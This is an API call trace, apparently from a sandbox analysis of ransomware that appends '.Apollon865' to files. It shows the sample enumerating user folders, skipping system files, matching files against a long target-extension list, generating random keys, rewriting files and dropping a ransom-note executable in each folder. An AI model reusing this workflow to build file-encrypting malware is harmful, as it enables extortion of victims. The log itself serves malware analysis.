	[0088.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.624] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.624] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.624] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.625] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.626] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.627] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.628] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.628] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.628] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.628] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.629] CloseHandle (hObject=0x15c) returned 1
	[0088.629] CloseHandle (hObject=0x9c) returned 1
	[0088.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.629] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="..") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="windows") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="bootmgr") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="temp") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="pagefile.sys") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="boot") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ids.txt") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ntuser.dat") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="perflogs") returned 1
	[0088.629] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="MSBuild") returned 1
	[0088.629] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0088.629] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned 74
	[0088.629] lstrcpyW (in: lpString1=0x119e672, lpString2="Windows Live Spaces.url" | out: lpString1="Windows Live Spaces.url") returned="Windows Live Spaces.url"
	[0088.629] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0088.629] lstrlenW (lpString="Apollon865") returned 10
	[0088.629] lstrcmpiW (lpString1="Spaces.url", lpString2="Apollon865") returned 1
	[0088.629] lstrlenW (lpString=".dll") returned 4
	[0088.630] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".dll") returned 1
	[0088.630] lstrlenW (lpString=".lnk") returned 4
	[0088.630] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".lnk") returned 1
	[0088.630] lstrlenW (lpString=".ini") returned 4
	[0088.630] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".ini") returned 1
	[0088.630] lstrlenW (lpString=".sys") returned 4
	[0088.630] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".sys") returned 1
	[0088.630] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0088.630] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Apollon865") returned 87
	[0088.630] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.apollon865"), dwFlags=0x1) returned 1
	[0088.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.632] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=133) returned 1
	[0088.632] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.632] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.633] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.633] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.633] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.633] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.633] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x15c
	[0088.636] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000
	[0088.637] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.638] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.638] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.638] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.638] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.639] CloseHandle (hObject=0x15c) returned 1
	[0088.639] CloseHandle (hObject=0x9c) returned 1
	[0088.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.639] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0
	[0088.639] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.639] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0088.639] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites"
	[0088.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.639] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0088.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned 52
	[0088.639] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites"
	[0088.639] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0088.640] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0088.640] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0088.641] GetLastError () returned 0x0
	[0088.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0088.641] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0088.641] CloseHandle (hObject=0x10c) returned 1
	[0088.641] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0088.641] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0088.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0088.641] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.641] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0088.641] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0088.641] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30434c50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.641] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.641] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0088.641] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0088.641] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0088.641] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30434c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30434c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.642] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.642] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="Apollon865.txt.exe") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="..") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="windows") returned -1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="bootmgr") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="temp") returned -1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="pagefile.sys") returned -1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="boot") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ids.txt") returned 1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ntuser.dat") returned -1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="perflogs") returned -1
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2="MSBuild") returned 1
	[0088.642] lstrlenW (lpString="MSN Autos.url") returned 13
	[0088.642] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*") returned 54
	[0088.642] lstrcpyW (in: lpString1=0x119e672, lpString2="MSN Autos.url" | out: lpString1="MSN Autos.url") returned="MSN Autos.url"
	[0088.642] lstrlenW (lpString="MSN Autos.url") returned 13
	[0088.642] lstrlenW (lpString="Apollon865") returned 10
	[0088.642] lstrcmpiW (lpString1=" Autos.url", lpString2="Apollon865") returned -1
	[0088.642] lstrlenW (lpString=".dll") returned 4
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".dll") returned 1
	[0088.642] lstrlenW (lpString=".lnk") returned 4
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".lnk") returned 1
	[0088.642] lstrlenW (lpString=".ini") returned 4
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".ini") returned 1
	[0088.642] lstrlenW (lpString=".sys") returned 4
	[0088.642] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".sys") returned 1
	[0088.642] lstrlenW (lpString="MSN Autos.url") returned 13
	[0088.642] lstrlenW (lpString="bak") returned 3
	[0088.642] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0088.642] lstrlenW (lpString="ba_") returned 3
	[0088.642] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0088.642] lstrlenW (lpString="dbb") returned 3
	[0088.642] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0088.643] lstrlenW (lpString="vmdk") returned 4
	[0088.643] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0088.643] lstrlenW (lpString="rar") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0088.643] lstrlenW (lpString="zip") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0088.643] lstrlenW (lpString="tgz") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0088.643] lstrlenW (lpString="vbox") returned 4
	[0088.643] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0088.643] lstrlenW (lpString="vdi") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0088.643] lstrlenW (lpString="vhd") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0088.643] lstrlenW (lpString="vhdx") returned 4
	[0088.643] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0088.643] lstrlenW (lpString="avhd") returned 4
	[0088.643] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0088.643] lstrlenW (lpString="db") returned 2
	[0088.643] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0088.643] lstrlenW (lpString="db2") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0088.643] lstrlenW (lpString="db3") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0088.643] lstrlenW (lpString="dbf") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0088.643] lstrlenW (lpString="mdf") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0088.643] lstrlenW (lpString="mdb") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0088.643] lstrlenW (lpString="sql") returned 3
	[0088.643] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0088.643] lstrlenW (lpString="sqlite") returned 6
	[0088.643] lstrcmpiW (lpString1="os.url", lpString2="sqlite") returned -1
	[0088.643] lstrlenW (lpString="sqlite3") returned 7
	[0088.643] lstrcmpiW (lpString1="tos.url", lpString2="sqlite3") returned 1
	[0088.643] lstrlenW (lpString="sqlitedb") returned 8
	[0088.643] lstrcmpiW (lpString1="utos.url", lpString2="sqlitedb") returned 1
	[0088.644] lstrlenW (lpString="xml") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0088.644] lstrlenW (lpString="$er") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0088.644] lstrlenW (lpString="4dd") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0088.644] lstrlenW (lpString="4dl") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0088.644] lstrlenW (lpString="^^^") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0088.644] lstrlenW (lpString="abs") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0088.644] lstrlenW (lpString="abx") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0088.644] lstrlenW (lpString="accdb") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0088.644] lstrlenW (lpString="accdc") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0088.644] lstrlenW (lpString="accde") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0088.644] lstrlenW (lpString="accdr") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0088.644] lstrlenW (lpString="accdt") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0088.644] lstrlenW (lpString="accdw") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0088.644] lstrlenW (lpString="accft") returned 5
	[0088.644] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0088.644] lstrlenW (lpString="adb") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.644] lstrlenW (lpString="adb") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0088.644] lstrlenW (lpString="ade") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0088.644] lstrlenW (lpString="adf") returned 3
	[0088.644] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0088.644] lstrlenW (lpString="adn") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0088.645] lstrlenW (lpString="adp") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0088.645] lstrlenW (lpString="alf") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0088.645] lstrlenW (lpString="ask") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0088.645] lstrlenW (lpString="btr") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0088.645] lstrlenW (lpString="cat") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0088.645] lstrlenW (lpString="cdb") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0088.645] lstrlenW (lpString="ckp") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0088.645] lstrlenW (lpString="cma") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0088.645] lstrlenW (lpString="cpd") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0088.645] lstrlenW (lpString="dacpac") returned 6
	[0088.645] lstrcmpiW (lpString1="os.url", lpString2="dacpac") returned 1
	[0088.645] lstrlenW (lpString="dad") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0088.645] lstrlenW (lpString="dadiagrams") returned 10
	[0088.645] lstrcmpiW (lpString1=" Autos.url", lpString2="dadiagrams") returned -1
	[0088.645] lstrlenW (lpString="daschema") returned 8
	[0088.645] lstrcmpiW (lpString1="utos.url", lpString2="daschema") returned 1
	[0088.645] lstrlenW (lpString="db-journal") returned 10
	[0088.645] lstrcmpiW (lpString1=" Autos.url", lpString2="db-journal") returned -1
	[0088.645] lstrlenW (lpString="db-shm") returned 6
	[0088.645] lstrcmpiW (lpString1="os.url", lpString2="db-shm") returned 1
	[0088.645] lstrlenW (lpString="db-wal") returned 6
	[0088.645] lstrcmpiW (lpString1="os.url", lpString2="db-wal") returned 1
	[0088.645] lstrlenW (lpString="dbc") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0088.645] lstrlenW (lpString="dbs") returned 3
	[0088.645] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0088.646] lstrlenW (lpString="dbt") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0088.646] lstrlenW (lpString="dbv") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0088.646] lstrlenW (lpString="dbx") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0088.646] lstrlenW (lpString="dcb") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0088.646] lstrlenW (lpString="dct") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0088.646] lstrlenW (lpString="dcx") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0088.646] lstrlenW (lpString="ddl") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0088.646] lstrlenW (lpString="dlis") returned 4
	[0088.646] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0088.646] lstrlenW (lpString="dp1") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0088.646] lstrlenW (lpString="dqy") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0088.646] lstrlenW (lpString="dsk") returned 3
	[0088.646] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0088.646] lstrlenW (lpString="dsn") returned 3
